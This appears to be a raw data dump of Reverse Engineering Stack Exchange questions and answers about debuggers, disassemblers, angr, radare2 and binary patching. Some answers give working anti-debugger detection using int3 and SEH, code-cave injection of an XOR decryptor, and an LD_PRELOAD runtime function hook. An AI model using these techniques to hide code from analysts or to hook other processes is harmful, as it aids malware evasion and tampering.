+ + +",27091,,27091,,1/14/2019 22:00,12/3/2021 12:57,Z80 Absolute Jump to offset in middle of instruction,Lets suppose I have a very big binary and I want to reverse just a part of this binary.
+ +Is there a way to tell angr to start symbolic analysis at a given address ?
+",18590,,53,,1/15/2019 14:29,1/15/2019 14:29,Start Symbolic Analysis at a Given Address with Angr,without any context we can only guess...
+ +However jp (hl)
was commonly used for:
jump to pointer
+ +this one is obvious hl
points to a memory location that you want to jump to. You can do many things with this like for example you want to decide how to handle some input and you got more choices of handlers so you evaluate which to use in hl
and at the end just jump to it. The same goes for mode
of a program... For example you got more ways of rendering text or something and you want easily switch between them for the whole program ... then simply store the selected routine in some pointer and when needed jump to it...
I do not have any context to your code but this is the most likely scenario:
+ +286Eh
is the selected mode handler, hl
read that position using ix
and lastly routine jump to it. I am guessing the final ret
is in the routine somewhere.
call/return to/from subroutine with non standard calling convention
+ +sometimes operands are passed to subroutines in non standard ways (not on stack) which prevent to use call
or ret
directly. In such cases jp (hl)
can solve such issues.
For example take a look at this x86 example:
+ + + +the printl
is expecting printed string directly after the call ...
call printl
+db 'SPEKTRA software & hardware',0
+
+
+this spares the input data pointer setting and also its more comfortable as the printed text is directly where it is used (not in some table in data section) also you do not need labels. As you can see the printl
can not ret directly to the address stored in stack. Instead it needs to jump after the text which is ideal usage of jp (hl)
example (however my x86 code does it differently due to different instruction set).
resolve self modify code issues
+ +configurable programs do not have static jump/call addresses so jp (hl)
can be used for configurable jumps...
Now getting back to jumping into middle of instruction
+ +This might be or might not be true. If you use disassembler then it does not know where the ORG
statement of each code segment is. So it instead translates from start of the file. When you are tracing then it takes the PC
as the starting position and translates from it relatively so if you scroll the listing you might got wrongly disassembled other parts of code. However after few continuous single byte instructions the code is aligned again so most of the code would be translated correctly.
But there are also cases when we deliberately jump to middle of instruction. Sometimes time sensitive code needs exact number of [T]
tacts to spend on some routine and jumping in the middle of some instruction can resolve missing [T]
states after some conditional behavior.
I will start by answering your specific three questions, and then will shed more light about the naming structure of functions in radare2.
+ +++ +What is the meaning of the hexadecimal number after the function name?
+
The meaning of the 3 hexadecimal digits at the end of function names like ""sub.KERNEL32.dll_lstrlenW_2f9"" are the last 3 digits of the function address. The confusion here is because this is not an imported function name, but a regular function. This naming caused by the aan
command which you probably used when you executed aaa
or opened a file with th -A
flag: $ r2 -A <filename>
.
As stated in the radare2 documentation:
+ +...
+aan autoname functions that either start with fcn.* or sym.func.*
+...
+
+
+The aan
command will auto-generate a name, based on the flags being used in the function. This should ease the analysis for the user before analyzing the function.
So let's have a look at a function which is called sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860
. You can see that an import function called ""DisableThreadLibraryCalls"" is being called. This is why the function was renamed by aan
:
[0x18002a860]> pdf
+╭ (fcn) sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860 35
+│ sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860 ();
+│ ; arg unsigned int arg3 @ rdx
+│ 0x18002a860 4883ec28 sub rsp, 0x28
+│ 0x18002a864 83fa01 cmp edx, 1
+│ ╭─< 0x18002a867 7510 jne 0x18002a879
+│ │ 0x18002a869 48833dff1f00. cmp qword [0x18002c870], 0 ; [0x18002c870:8]=0
+│ ╭──< 0x18002a871 7506 jne 0x18002a879
+│ ││ 0x18002a873 ff159f170000 call qword sym.imp.KERNEL32.dll_DisableThreadLibraryCalls
+│ ╰╰─> 0x18002a879 b801000000 mov eax, 1
+│ 0x18002a87e 4883c428 add rsp, 0x28
+╰ 0x18002a882 c3 ret
+[0x18002a860]>
+
+
+++ +Why is the core difference between the prefixes ""sym."" and ""sub."" of DLL function names?
+
sym
stands for ""Symbol"". This is a symbol taken from the binary's Symbol Table.
+sub.
stands for ""Subroutine"". This can by a standalone function but most likely a part of a function, like JMPTABLE blocks, addresses in pointer table, etc.
++ +What is the difference between library names in lower or uppercase?
+
In general, radare2 keeps the case of the libraries as shown in the Import Address Tables. But I think sometimes it is being modified in favor of readability and to make it easier to differentiate between an import function, and a renamed function (aan
).
I made some ASCII-arts for you, hope this would make things clearer.
+ +Regular Function
+ +fcn.77cce259
+| |
+| |__ The function's address
+|
+|__ stands for ""Function""
+
+
+Imported function
+ +sym.imp.KERNEL32.dll_LocalAlloc
+ | | | |
+ | | | |__ The imported function name, ""LocalAlloc""
+ | | |
+ | | |__ the Library name. In this case, ""kernel32.dll""
+ | |
+ | |
+ | |___ ""Import"", this is an imported function
+ |
+ |___ ""Symbol"", taken from the Symbol Table
+
+
+Auto-Generated Name
+ +sub.ntdll.dll_RtlNtStatusToDosError_13c
+ | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ | |
+ | |__ auto-generated name based on flags that being used
+ | the 3 digits at the end are the function's address
+ |__ ""Subroutine""
+
+",18698,,,,,1/14/2019 15:11,,,,2,,,,CC BY-SA 4.0
+20371,1,,,1/14/2019 17:33,,2,1065,"When I do dynamic analyze of exe file I have few option , and I want to know what are the advantages and disadvantages.
+ +I know that Ida designated for static analyze , but there are some debugger in Ida and lot of time I do dynamic analyze with those debuggers
+ +When I choose Ida I can choose between Win32 debugger or WinDbg debugger, what is the difference ?
What is the difference between debug with Ida and debug with OllyDbg?
I'm a bit confused about what ""system"" refers to when looking at the callstack in x64dbg. Does it mean the code is currently being executed in ring0? I thought that only system calls are executed in ring0? (Which would mean that only code in ntdll would be executed by the system?) The word system seems to appear next to functions in user32 etc. Any help in correcting my misunderstanding would be very much appreciated. Thanks a bunch
+",22004,,,,,1/19/2019 18:43,"x64dbg ""System"" meaning",I am asking here hoping that someone may have experience identifying these kind of old chips. Googling the reference just shows some forums with people in same situation as me.
+ +IC reference: 25072478 REV D
+
This is an Opel LCD dashboard design from the mid 80s. So the chip should have been available at that time.
+ +8 of the pins are connected to the main controller, which is a known part:
+SAB80515
+
I am also trying to get at least a part of the board schematic.
+ +Thank you.
+ +EDIT 1: The chips connects this way, I have to check the other pins left blank at the moment.
+ + +",27102,,27102,,1/15/2019 22:12,2/14/2019 23:03,Help to identify unknown IC from Microchip,The MX25U1635E is designed for 1.8 volt logic, whereas your programmer is designed for 3.3 or 5.0 volt logic. You're going to need a 1.8 volt adapter for the programmer or you will damage the MX25U1635E.
+ +If you google CH341A 1.8 volt adapter, you can find them for relatively cheap.
+",27091,,,,,1/14/2019 22:12,,,,3,,,,CC BY-SA 4.0 +20375,2,,20371,1/14/2019 22:25,,3,,"Win32 debugger is IDA's internal debugger, whereas WinDbg is Microsoft's debugger. They both effectively do the same thing. IDA's debugger is probably better integrated with IDA.
I'm going to make a recommendation here to use x64dbg. Ollydbg is outdated and unsupported. IDA's debugger works but the interface is clunky and isn't as easy to use as x64dbg. Plus if IDA's debugger crashes, you risk corrupting your IDA database. If x64dbg crashes you don't lose anything except a few minutes of time.
The small chip is probably a one off chip made for whoever manufactured this board. Your best best bet is examining what the pins connect to and analyzing what they may do. Since its a one off chip the chance of finding a datasheet is slim to none.
+ +The big chip is a variation of the Intel 8051 which is common in 80's car technology. The datasheet can be found here.
+",27091,,,,,1/14/2019 22:33,,,,1,,,,CC BY-SA 4.0 +20377,2,,20353,1/14/2019 22:38,,0,,"Open your IDA installation folder open plugins\defs.h, this file contains all of the macros used by the hexrays decompiler. It can also be found at the github in arman's answer.
+",27091,,,,,1/14/2019 22:38,,,,0,,,,CC BY-SA 4.0 +20380,2,,20367,1/15/2019 8:05,,3,,"There sure is.
+ +p = angr.Project(""target_binary"")
+state = p.factory.blank_state(addr=0x400770)
+
+
+I strongly recommend reading the State Presets section of the docs for more information. Crucially, all of the state preset constructors can take the addr
argument; depending what you're doing, there may be a better preset to use than blank_state
.
Further resources:
+ + + +Examples from the angr team that include starting analysis at a specific address:
+ + +",18563,,18563,,1/15/2019 8:12,1/15/2019 8:12,,,,1,,,,CC BY-SA 4.0 +20381,1,,,1/15/2019 9:08,,1,661,"In Ida when I use debugger, but I can't step back.
+ +Is there any debugger that allow go backwards?
+",27108,,53,,1/15/2019 9:28,1/15/2019 9:28,Is there any debugger that supports step-back?,In general, stepping back for a debugger is a hard problem. gdb
has a limited step back feature but it comes with a cost, see here.
But, when you think about it, the whole difficulty solved by the programmer when debugging is to step-back until it reach the bug. This is the whole difficulty and we do not have a nice and automated solution for it right now.
+",53,,,,,1/15/2019 9:27,,,,0,,,,CC BY-SA 4.0 +20384,1,,,1/15/2019 16:45,,5,1166,"I would like to use Radare2 to learn about how C is assembled into assembly but I am having trouble with the layout. I think the V! mode would be very handy as you can watch the registers update as the instruction pointer moves through the program, but I don't understand the layout.
+ +This is an example of they layout I would like:
+
It seems when I add a window (like Stack or Registers in this photo) it appears offscreen and I have to try closing different and splitting windows until the layout kind of falls into place. Is there an easy way to change exactly what is in each window?
+ +I know 'X' closes a window, 'z' switches the current window to the front, and '-' / '|' split a window.
+ +I have tried looking at the help but can't seem to figure out any other commands related to this issue.
+",27110,,28285,,4/30/2019 7:24,4/30/2019 7:24,Radare2 Disassembler How Do You Organize Visual Panels (V!)?,This is assembly code that can catch debugger with int 3
:
MOV ECX, ExceptionHandler
+
+MOV DWORD PTR FS:[0], ExceptionHandler
+
+INT3
+ ///there is debugger!!!
+
+ExceptionHandler:
+ ////no debugger
+
+
+When programmer write a C program , which code he write that compile to this trap?
+ +I use Windows with x86
+",26837,,26837,,1/16/2019 17:09,1/16/2019 19:55,How int3 looks like in C,Let's say we have this simple ""hello world"" nasm code that will be compiled to an ELF executable:
+ +global main
+
+section .data
+ message db ""Hello World!"", 0x00
+
+section .text
+
+main:
+ call hello
+ ret
+
+hello:
+ lea rdi, [rel message]
+ call puts
+ ret
+.end:
+
+
+Is it possible to add a label called decrypt
into the compiled ELF executable and then subsequently call it (with/without the source code)?
global main
+
+section .data
+ message db ""Hello World!"", 0x00
+
+section .text
+
+main:
+ call decrypt <---------------Addition
+ call hello
+ ret
+
+decrypt: <---------------Addition
+ DECRYPTOR_SECTION hello, hello.end-hello <---------------Addition
+ ret <---------------Addition
+
+hello:
+ lea rdi, [rel message]
+ call puts
+ ret
+.end:
+
+",27117,,,,,1/19/2019 6:08,"Is it possible to add a label to an ELF executable and then call that label? If so, how?",Use TAB to move between the windows, use e to change name and command of a specific panel you are on. Use w to enter the window mode. ""Window mode"" allows you to control how the panels look like. In window-mode you can use HJKL to resize the window's height and width.
+ +This should answer your question ""Is there an easy way to change exactly what is in each window?"". Because you can simply select a panel and use e to change its content :)
+ +Don't forget to use ? in the different visual screens to get more help
+",18698,,,,,1/16/2019 10:31,,,,0,,,,CC BY-SA 4.0 +20391,2,,20388,1/16/2019 13:17,,0,,"I am not sure what your intent is.
+ +If you mean you have to add a function and call it before main after the source is compiled, then yes it is definitely possible. All you have to do is run through some hoops like finding a code cave, assembling the new code in code cave, and detouring the first instruction of main to call your new function and return back to main's next instruction.
+ +If you mean I want the function to be sequential then it might be possible if you can destroy and recreate the assembly in-place (kinda tough).
+ +And no there is no label you need to calculate relative address / absolute address of the newly added function and use one form of e8 or ff25 call
+ +Having source can help you in understanding the assembly but you have to play in assembly only if you have to patch a compiled executable.
+ +A program prior to addition of encrypt proc will look like this (a simple msgbox in windows notice both caption and text are pointing to a string which is unintelligible)
+ + + +You may need to implement the commented out source code inline for decrypting
+ +.386
+.model flat, stdcall
+option casemap:none
+include \masm32\include\windows.inc
+include \masm32\include\kernel32.inc
+includelib kernel32.lib
+include \masm32\include\user32.inc
+includelib user32.lib
+
+.data
+Encrypted db 217,243,234,245,252,249,255,254,183,227,176,228,229
+ db 228,255,226,249,241,252,176,254,255,190,162,144
+
+.code
+start:
+ ;call decrypt
+ call hello
+ invoke ExitProcess,NULL
+
+; decrypt proc
+ ; xor ecx,ecx
+ ; complete:
+ ; lea esi , Encrypted
+ ; add esi,ecx
+ ; movzx eax , byte ptr ds:[esi]
+ ; xor eax ,090h
+ ; mov byte ptr ds:[Encrypted + ecx], al
+ ; add ecx,1
+ ; cmp byte ptr ds:[Encrypted + ecx - 1 ],0
+ ; jne complete
+ ; ret
+; decrypt endp
+
+
+hello proc
+ invoke MessageBox, NULL,addr Encrypted, addr Encrypted, MB_OK
+ ret
+hello endp
+
+end start
+
+
+After you implement your decrypt proc some where in existing free space (called code cave) it may look like this
+ +Now you have to destroy the first call jmp here decrypt +add the code that you destroyed and jump back to the next correct sequential instruction post the destroyed code
+ +CPU Disasm
+Address Command Comments
+00152000 XOR ECX, ECX
+00152002 /LEA ESI, [154000]
+00152008 |ADD ESI, ECX
+0015200A |MOVZX EAX, BYTE PTR DS:[ESI]
+0015200D |XOR EAX, 00000090
+00152012 |MOV BYTE PTR DS:[ECX+154000], AL
+00152018 |ADD ECX, 1
+0015201B |CMP BYTE PTR DS:[ECX+153FFF], 0
+00152022 \JNE SHORT 00152002
+00152024 RETN
+
+",3473,,,user12114,1/19/2019 6:08,1/19/2019 6:08,,,,2,,,,CC BY-SA 4.0
+20393,2,,20387,1/16/2019 19:55,,2,,"#include <stdio.h>
+#include <windows.h>
+#include <intrin.h>
+void main (void)
+{
+ __try
+ {
+ __debugbreak();
+ }
+ __except( GetExceptionCode() ==
+ EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER :EXCEPTION_CONTINUE_SEARCH )
+ {
+ printf(""executed out of debugger\n"");
+ exit(1);
+ }
+ printf(""executed inside debugger\n"");
+ exit(2);
+}
+
+
+disassembly of main() without handler
+ +0:000> uf .
+int3!main [xxx\int3.cpp @ 6]:
+ 6 01381000 55 push ebp
+ 6 01381001 8bec mov ebp,esp
+ 6 01381003 6afe push 0FFFFFFFEh
+ 6 01381005 68d0573c01 push offset int3!__rtc_tzz+0x8 (013c57d0)
+ 6 0138100a 6820213801 push offset int3!_except_handler4 (01382120)
+ 6 0138100f 64a100000000 mov eax,dword ptr fs:[00000000h]
+ 6 01381015 50 push eax
+ 6 01381016 83c4f0 add esp,0FFFFFFF0h
+ 6 01381019 53 push ebx
+ 6 0138101a 56 push esi
+ 6 0138101b 57 push edi
+ 6 0138101c a104703c01 mov eax,dword ptr [int3!__security_cookie (013c7004)]
+ 6 01381021 3145f8 xor dword ptr [ebp-8],eax
+ 6 01381024 33c5 xor eax,ebp
+ 6 01381026 50 push eax
+ 6 01381027 8d45f0 lea eax,[ebp-10h]
+ 6 0138102a 64a300000000 mov dword ptr fs:[00000000h],eax
+ 6 01381030 8965e8 mov dword ptr [ebp-18h],esp
+ 7 01381033 c745fc00000000 mov dword ptr [ebp-4],0
+ 9 0138103a cc int 3
+ 10 0138103b c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
+ 10 01381042 eb45 jmp int3!main+0x89 (01381089)
+
+int3!main+0x89 [xxx\int3.cpp @ 17]:
+ 17 01381089 68bce13b01 push offset int3!__xt_z+0x2c (013be1bc)
+ 17 0138108e e85d000000 call int3!printf (013810f0)
+ 17 01381093 83c404 add esp,4
+ 18 01381096 6a02 push 2
+ 18 01381098 e8dec00100 call int3!exit (0139d17b)
+ 0:000> da 13be1bc
+ 013be1bc ""executed inside debugger.""
+
+
+handler will be called if there is no debugger
+ +:\>int3.exe
+executed out of debugger
+
+:\>cdb -g -c ""g;q"" int3.exe | grep -i executed
+executed inside debugger
+
+:\>
+
+",3473,,,,,1/16/2019 19:55,,,,0,,,,CC BY-SA 4.0
+20394,2,,283,1/17/2019 4:00,,4,,"Another option is Fireye's Windows-based Flare VM.
+ +Unlike the Linux-based examples on this page, Flare VM only provides an installer script, not the VM itself. Fortunately, you can get a free Windows VM straight from Microsoft.
+ +Their GitHub page has the full (very long) list of tools; here is a snippet:
+ +++",18563,,18563,,1/17/2019 13:18,1/17/2019 13:18,,,,0,,,,CC BY-SA 4.0 +20395,1,20399,,1/17/2019 4:24,,0,463,"Debuggers
+ ++
+ +- flare-qdb
+- scdbg
+- OllyDbg + OllyDump + OllyDumpEx
+- OllyDbg2 + OllyDumpEx
+- x64dbg
+- WinDbg + OllyDumpex + pykd
+Decompilers
+ ++
+ +- RetDec
+- Jd-gui and bytecode-viewer
+- dnSpy
+- IDR
+- VBDecompiler
+- Py2ExeDecompiler
+Disassemblers
+ ++
+- IDA Free (5.0 & 7.0)
+- Binary Ninja Demo
+- Radare2 + and Cutter
+
To be specific, I cannot recompile this binary, nor do I have access to the sourcecode.
+ +The functions are not defined within a shared library.
+ +So, how can I go about changing a function, or preferably detouring it to a new function?
+ +And if it's possible, use dlsym/dlopen to get my new modified code from a shared library, so I don't have to edit the binary by hand every time I want to change something.
+ +Oh, one more thing, editing the actual binary is something I can do/I have access to.
+ +And just for extra info, I have Radare2 installed, as well as GDB with pwndbg, so any solutions using those tools, or builtin GNU/Linux debugging tools would be appreciated.
+ +EDIT:
+ +I am a beginner to reverse engineering things, but not to the point I have zero idea what I'm doing.
+",27126,,,,,1/21/2019 18:38,How do I go about overriding a function internally defined in a binary on Linux?,As mentioned here, IDArling was released recently and is still being actively maintained (last commit was just over a week ago). Notably, it also won the 2018 IDA Plugin Contest.
+EDIT July 2021 +From the IDArling README:
+++This project is no longer under active development and the more featured and up-to-date fork is probably something more interesting for new comers. Also, IDA has announced an official support for collaborative reverse engineering session and one could also wait for this.
+
EDIT June 2022
+ +",18563,,18563,,6/25/2022 15:01,6/25/2022 15:01,,,,0,,,,CC BY-SA 4.0 +20397,2,,11621,1/17/2019 10:02,,6,,"COERCE_TYPE(x)
is the same thing as *(TYPE *)&x
. Hex-Rays uses COERCE_...
macros when &x
is illegal. For example:
COERCE_DOUBLE(__PAIR__(i1,i2))
+
+
+Is the same as *(double *)&__PAIR__(i1, i2)
, but since &
can not be applied to calls, we end up seeing COERCE
.
Its name correctly conveys its meaning.
+",27130,,53,,1/17/2019 16:15,1/17/2019 16:15,,,,1,,,,CC BY-SA 4.0 +20399,2,,20395,1/17/2019 15:26,,2,,"You have several options here, but I like this one.
+ +Since the code is already inside the executable, so you have to patch the entrypoint to jump to a new function.
+To do so, I suggest to use a shared object (.so). In this module you will both: the new function and a 'patcher function'. The latter function must be defined with __attribute__((constructor))
, this attribute will force the ELF loader to call this function before the main
function from your original executable is called.
The patcher function will set write access at the entrypoint of the old function with mprotect (2)
, encode the jump instruction, and it's probably better to remove the write access you needed for the patch.
Once you have your shared object, you can inject it using the LD_PRELOAD
variable.
Edit with an example, since you didn't mentioned the architecture, I assumed this is for x86-64:
+ +First this is a target, we want to change the function my_rand to return 0xdeadbeef.
+ +#include <stdlib.h>
+#include <stdio.h>
+#include <time.h>
+
+int my_rand(void)
+{
+ srand(time(NULL));
+ return rand() + rand() ^ rand();
+}
+
+int main(void)
+{
+ printf(""random value: %08x\n"", my_rand());
+}
+
+
+To find the RVA, we can use nm
because we have the symbol. You might have to find it manually.
nm target|grep my_rand
+0000000000001169 T my_rand
+
+
+Finally, the code of the patcher:
+ +#include <sys/mman.h>
+#include <unistd.h>
+#include <dlfcn.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <link.h>
+
+static int new_random(void)
+{
+ return 0xdeadbeef;
+}
+
+static void emit_jump_to_address(uint64_t address, uint64_t jump_destination)
+{
+ long page_size = sysconf(_SC_PAGESIZE);
+ void* aligned_address = (void*)(address & ~(page_size - 1));
+ if (mprotect(aligned_address, page_size, PROT_READ|PROT_WRITE|PROT_EXEC) < 0)
+ {
+ perror(""mprotect"");
+ return;
+ }
+ *(uint16_t*)(address + 0x0) = 0xb848; // mov rax, Iv
+ *(uint64_t*)(address + 0x2) = jump_destination; // mov rax, jump_destination
+ *(uint16_t*)(address + 0xa) = 0xe0ff; // jmp rax
+ if (mprotect(aligned_address, page_size, PROT_READ|PROT_EXEC) < 0)
+ {
+ perror(""mprotect"");
+ return;
+ }
+}
+
+// ref: https://stackoverflow.com/questions/19451791/get-loaded-address-of-a-elf-binary-dlopen-is-not-working-as-expected
+uint64_t get_image_base(void)
+{
+ struct link_map* lm = dlopen(NULL, RTLD_NOW);
+ return (uint64_t)lm->l_addr;
+}
+
+__attribute__((constructor)) void patcher(void)
+{
+ uint64_t target;
+
+ target = get_image_base();
+ target += 0x1169; // RVA
+ printf(""[!] targeted function is at %p\n"", (void const*)target);
+ printf(""[!] new function is at %p\n"", (void const*)&new_random);
+ emit_jump_to_address(target, (uint64_t)&new_random);
+}
+
+
+This source code was compiled with clang and injected using LD_PRELOAD
:
$ clang patcher.c -o patcher.so -shared -ldl
+$ env LD_PRELOAD=./patcher.so ./target
+[!] targeted function is at 0x7fe05f907169
+[!] new function is at 0x7fe05f8c11f0
+random value: deadbeef
+
+
+Note, I'm using fish, so the env
is required.
After clicking a button or doing anything which might generate a message to be translated and dispatched, why is that the callstack might not show the message handler?
+ +Say I am reversing an application, I hit the Ok button and then it generates a window. Pausing the application after that window is generated should show the message handler in the call stack right? I see a callstack with one of the last entries being the message loop itself (get translate and dispatch) but I don't see the callback function. Should I just try and go through dispatchmessage to get the message handler? Is there some resource which tells me where exactly the messagehandler is in dispatchmessage?
+",22004,,,user12114,1/19/2019 11:26,1/19/2019 11:26,The callstack does not show the message handler,There are lot of crack me site.
+ +I looking for site that have lot of hard crack me/ malware to research anti debug/anti vm... but with full solution
+",23993,,53,,1/17/2019 19:59,1/17/2019 19:59,Looking for crackme with full solutions,I am looking for journals to keep track of the latest advances in reverse engineering, binary analysis, malware, binary exploitation, etc.
+",26363,,53,,1/17/2019 20:00,6/25/2022 15:22,Academic journals for latest RE/Malware/Exploitation research?,You have a few academic workshops and conferences about the topic (or close to the topic). But, most of them are appearing and disappearing quite often unfortunately. So, it is difficult to come with a long lasting list of conferences. Anyway, here is an attempt:
+ +These lists are definitely non-exhaustive, so feel free to tell me if I forget something!
+",53,,,,,1/17/2019 19:58,,,,0,,,,CC BY-SA 4.0 +20405,2,,20403,1/17/2019 19:59,,7,,"This is an indirect answer to your question, but hopefully still useful. There are multiple conferences that feature state-of-the-art work in this space. If anyone knows of more, feel free to add on to this list.
+(links are to the archives of the conferences, whenever possible)
+recon.cx/<year>
(e.g. https://recon.cx/2017). Most of the time those pages have links to the slides and/or recordings from that year.
+There are of course the juggernauts: DEF CON (full media archive, YouTube playlists of talks) and Black Hat (site archive with slides + white papers, YouTube playlists of talks). Neither is exclusively focused on what you asked about, but they both have plenty of good content on these topics.
+Bonus: PoC||GTFO is a completely different style of research than any conference listed above, but it's full of great information and is lots of fun to read.
+Bonus 2: InfoCon is the best archive of hacking conference content that exists.
+++",18563,,18563,,6/25/2022 15:22,6/25/2022 15:22,,,,1,,,,CC BY-SA 4.0 +20406,2,,20401,1/17/2019 20:45,,3,,"InfoCon is a community supported, non-commercial archive of all the past hacking related convention material that can be found.
+
prototype of DispatchMessage() is
+ +LRESULT DispatchMessage(
+ const MSG *lpMsg
+);
+
+
+it takes only a pointer to struct MSG which has a hwnd as its first
+ +typedef struct tagMSG {
+ HWND hwnd;
+ UINT message;
+ WPARAM wParam;
+ LPARAM lParam;
+ DWORD time;
+ POINT pt;
+ DWORD lPrivate;
+} MSG, *PMSG, *NPMSG, *LPMSG;
+
+
+this hwnd is validated and the appropriate callback is called by internal functions of +user32.dll and comctl32.dll
+ +you can get the window proc in the handles window in x64dbg
+ +here is a screenshot of windows calc.exe paused at a breakpoint in user32.DispatchMessageW()
+ + + +you can get the hwnd parameter by looking at the stack
+with log {x:[[esp+4]]}
+and following it up in handles window the screenshot shows the hwnd in status bar
+command in command window and the window proc in handles window
setting a breakpoint on the proc and hitting f9 will land us in the windowproc
+ +Address To From Size Comment
+0012EFB4 770C5F9F 00631EDE 78 calc.00631EDE
+0012F02C 770C4F0E 770C5F9F 5C user32._GetRealWindowOwner@4+54
+0012F088 770C4F7D 770C4F0E 28 user32._DispatchClientMessage@20+4B
+0012F0B0 777B702E 770C4F7D 74 user32.___fnDWORD@4+24
+0012F124 770CCC70 777B702E 10 ntdll.777B702E
+0012F134 00631CAC 770CCC70 D70 user32._DispatchMessageW@4+F
+0012FEA4 0064219A 00631CAC 90 calc.00631CAC
+0012FF34 7748ED6C 0064219A C calc.0064219A
+0012FF40 777D37EB 7748ED6C 40 kernel32.7748ED6C
+0012FF80 777D37BE 777D37EB 18 ntdll.777D37EB
+0012FF98 00000000 777D37BE ntdll.777D37BE
+
+",3473,,,,,1/17/2019 20:45,,,,0,,,,CC BY-SA 4.0
+20407,2,,20403,1/18/2019 5:51,,2,,"There is also malware conference which has been running since at least 2011. +https://www.malwareconference.org/
+",2954,,,,,1/18/2019 5:51,,,,0,,,,CC BY-SA 4.0 +20409,1,,,1/18/2019 10:30,,3,4556,"In IDA, when I want to see the address of code, I must switch to Text view.
+How can I see the address of code in Graph view?
+By the way, is there Graph view in OllyDbg?
+",26837,,60,,2/14/2022 18:52,2/14/2022 18:52,How to see addresses in Graph view in IDA,This is the example code:
+ +_start:
+LDR r0, =n
+LDR r0, [r0]
+LDR r1, =array1
+MOV r2, #0
+LDR r4, =array2
+loop:
+LDR r3, [r1], #4
+CMP r3, #58
+BGT a_point
+CMP r3, #47
+BLT a_point
+SUB r3, r3, #0x30
+STR r3, [r4], #4
+
+a_point:
+ subs r0, r0, #1
+ BGT loop
+
+stop:
+ b stop
+
+.Data
+n: .word 6
+array1: .word 0x30, 0xFFFFFFF5, 0x37, 0x4b, 0x18, 0x40
+array2: .word 0x01, 0x0, 0x0, 0x0, 0x0, 0x0
+
+
+I'm having trouble understanding how the loop works, what it does and specifically how the branch instruction work on pair with the -lt and -gt suffixes. What is the purpose of this simple program? Thanks in advance for your help.
+",27140,,,,,1/18/2019 10:59,"Help understanding ARM Assembly example code - loops, set flags and code mnemonics",How can I set a conditional breakpoint based on the argument of a function?
+ +I am trying to break on the windows function LoadLibraryExW
: https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibraryexw
I want to break on this function only when the first argument (lpLibFileName
) is equal to L""Test.dll""
. When I break on the function I can see that L""Test.dll""
is esp+4
.
I've tried a few different variations without success. They either break on every LoadLibraryExW
calls or none. Variations like:
Break Condiditon: [esp+4]==L""Test.dll""
+Break Condition: esp+4==L""Test.dll""
+etc..
+
+
+What is the proper way of setting a conditional breakpoint based on function arguments? Or register offsets?
+",19294,,,,,1/18/2019 22:55,x64dbg - Conditional breakpoint based on function argument,Switch to graph mode, then go to menu Options-General, Disassembly tab and enable
+ +[x] Line Prefixes (graph)
Other disassembly options : https://www.hex-rays.com/products/ida/support/idadoc/605.shtml.
+ +You can also check the status bar, it displays the current address.
+",60,,,,,1/18/2019 14:47,,,,0,,,,CC BY-SA 4.0 +20413,2,,20411,1/18/2019 21:19,,0,,"As commented by @mrexodia you can set a DLL breakpoint
+ +Typ Address Module/La State Disassembly H Summa
+DLL
+ 76850000 gdi32.dll Enabled 0 all()
+
+
+Go to breakpoint window (alt+b) -> Right Click Add Dll BreakPoint
+ +Type test.dll
+ +This will break when test.dll is loaded
+ +String compare as such isn't yet implemented. A bug report exists from 2017 and a workaround exists which states using a third party plugin
+which you can check out.
Or simply split the string into bytes and compare the bytes +like
+ +Type Address Module/Label/Exception State Disassembly H Summary
+Software
+ 76ACE8A5 <kernel32.dll.CreateFileW> Enabled mov edi,edi 5 breakif((1:[[esp+4]+0xc] == 66) && (1:[[esp+4]+0xe] == 69)), log(""brk hit { 1:[[esp+4]+c] }"")
+
+
+
+
+x64dbg has broken when file testmefive.txt was opened for source code below with above byte compare method
+ +#include <stdio.h>
+
+int main(void)
+{
+ char *filenames[] = {
+ ""testmeone.txt"",
+ ""testmetwo.txt"",
+ ""testmethree.txt"",
+ ""testmefour.txt"",
+ ""testmefive.txt""};
+ for (int i = 0; i < 5; i++)
+ {
+ FILE *fp = NULL;
+ errno_t err = fopen_s(&fp, filenames[i], ""r"");
+ if (err == 0 && fp != 0)
+ {
+ char buff[0x50] = {0};
+ fread_s(buff, 0x50, 1, 0x50, fp);
+ printf(""%s\n"", buff);
+ fclose(fp);
+ }
+ }
+}
+
+",3473,,,user12114,1/18/2019 22:55,1/18/2019 22:55,,,,0,,,,CC BY-SA 4.0
+20414,1,,,1/18/2019 23:34,,2,421,"I have a 2 MB executable that I'm attempting to reverse engineer. It's executed on a 16-bit 8086 CPU.
+ +The segments go from 4000 (0x140000) to F000 (0x1F0000).
+ +I'm attempting to map the segments in the Program Segmentation window, but when doing so, addresses for call / jump operations fail to resolve when converting the entrypoint to code.
+ +Taking the final segment as an example, I set the Start Address to 0x1F0000, and the End Address to 0x200000. I set the base to 0xF000, as this is how it's referred to in the machine code.
+ +I do the same with the other segments, including the problem segment (0xD000 -> 0x1D0000).
+ +When converting to code, the resulting line is resolved as follows:
+ +jmp far ptr 0D000h:1Ah
+
+
+This is as expected, jumping to segment 0xD000, with an offset of 0x1A, however IDA is not happy with this, complaining about it with the NONAME and BOUNDS errors.
+ +I have no idea how to properly map this in IDA. Can someone point me in the right direction?
+ +[edit]
+ +For reference, I already have the full list of segments I want to map along with their binary addresses:
+ +2000:0x1F0000
+ +3000:0x1F0000
+ +4000:0x140000
+ +5000:0x150000
+ +6000:0x160000
+ +7000:0x170000
+ +8000:0x180000
+ +9000:0x190000
+ +A000:0x1A0000
+ +B000:0x1B0000
+ +C000:0x1C0000
+ +D000:0x1D0000
+ +E000:0x1E0000
+ +F000:0x1F0000
+",27146,,27146,,1/19/2019 11:35,1/21/2019 7:07,Unable to figure out how to map segments in IDA,I'm attempting to reverse engineer a private API used by an Android app that makes use of WebSockets. These requests are made from JavaScript inside a WebView.
+ +I use Charles to intercept both HTTP and WebSocket requests, with it I'm able to see how the app successfully connects and speaks to the API with WebSockets. +The API uses cookies to authorize connections, the cookies responsible for it are ""ts.default"" and ""ts.default.sig"".
+ +This is how the request looks in Charles:
+ + + +My goal is to be able to speak with the API from a Python script. However, when making the same Upgrade request, making sure to keep all relevant headers, I get a 401 Unauthorized status code:
